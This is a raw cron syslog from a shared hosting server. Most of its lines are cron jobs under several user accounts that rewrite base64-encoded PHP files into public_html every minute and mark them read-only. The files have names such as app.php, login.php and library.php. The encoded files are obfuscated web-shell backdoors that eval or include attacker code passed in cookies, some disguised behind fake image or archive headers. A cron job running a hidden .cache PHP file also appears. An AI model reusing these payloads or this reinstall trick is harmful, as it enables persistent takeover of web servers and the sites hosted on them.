Jun  7 08:27:02 medusa CROND[30420]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:27:02 medusa CROND[30425]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:27:02 medusa CROND[30424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:27:02 medusa CROND[30423]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:27:02 medusa CROND[30434]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:28:02 medusa CROND[32156]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:28:02 medusa CROND[32157]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:28:02 medusa CROND[32158]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:28:02 medusa CROND[32159]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:28:02 medusa CROND[32160]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:28:02 medusa CROND[32161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:28:02 medusa CROND[32162]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 08:28:02 medusa CROND[32165]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:28:02 medusa CROND[32166]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 08:28:02 medusa CROND[32167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:28:02 medusa CROND[32168]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:28:02 medusa CROND[32169]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:28:02 medusa CROND[32173]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:28:02 medusa CROND[32172]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:29:02 medusa CROND[1563]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 08:29:02 medusa CROND[1567]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:29:02 medusa CROND[1569]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:29:02 medusa CROND[1568]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:29:02 medusa CROND[1570]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:29:02 medusa CROND[1571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:29:02 medusa CROND[1572]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
